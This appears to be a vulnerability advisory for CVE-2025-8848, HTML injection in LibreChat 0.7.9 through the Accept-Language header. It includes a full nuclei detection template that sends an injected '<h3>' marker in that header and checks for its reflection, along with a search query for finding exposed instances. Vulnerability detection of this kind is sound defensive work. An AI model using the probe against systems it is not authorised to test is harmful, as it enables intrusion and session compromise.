CVE-2025-8848· CWE-79
LibreChat <= 0.7.9 - HTML Injection via Accept-Language Header
mediumseverity
5.4CVSS score
0.5%likelihood of exploitation, next 30 days
40%of all CVEs are less likely
Readycheck to confirm it
danny-avila/librechat 0.7.9 contains a stored XSS caused by improper sanitization of the Accept-Language header, letting logged-in users inject arbitrary HTML into the html lang= tag, exploit requires user to be logged in.
Impact
Logged-in attackers can inject arbitrary HTML leading to cross-site scripting attacks, potentially compromising user sessions or data.
Fix
Update to the latest version where this issue is fixed.
How to confirm it
Send: GET {{BaseURL}}/
Positive when: contains "<html lang=\"<h3>{{marker}}</h3>\">" and "LibreChat" AND status 200Run it with nuclei: nuclei -id CVE-2025-8848 -u <target>
The full check
id: CVE-2025-8848
info:
name: LibreChat <= 0.7.9 - HTML Injection via Accept-Language Header
author: Kazgangap
severity: medium
description: |
danny-avila/librechat 0.7.9 contains a stored XSS caused by improper sanitization of the Accept-Language header, letting logged-in users inject arbitrary HTML into the html lang= tag, exploit requires user to be logged in.
impact: |
Logged-in attackers can inject arbitrary HTML leading to cross-site scripting attacks, potentially compromising user sessions or data.
remediation: |
Update to the latest version where this issue is fixed.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-8848
- https://huntr.com/bounties/a05ebc1f-882a-4adc-b178-d3cefa4b730e
- https://github.com/danny-avila/LibreChat
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2025-8848
epss-score: 0.00453
epss-percentile: 0.39617
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
fofa-query: app="LibreChat"
tags: cve,cve2025,librechat,html-injection,vuln
variables:
marker: "{{rand_base(20)}}"
http:
- method: GET
path:
- "{{BaseURL}}/"
headers:
Accept-Language: "<h3>{{marker}}</h3>"
matchers-condition: and
matchers:
- type: word
words:
- '<html lang="<h3>{{marker}}</h3>">'
- 'LibreChat'
condition: and
- type: status
status:
- 200References
- https://nvd.nist.gov/vuln/detail/CVE-2025-8848
- https://huntr.com/bounties/a05ebc1f-882a-4adc-b178-d3cefa4b730e
- https://github.com/danny-avila/LibreChat
Use this check only on systems you are authorised to test. Where the data comes from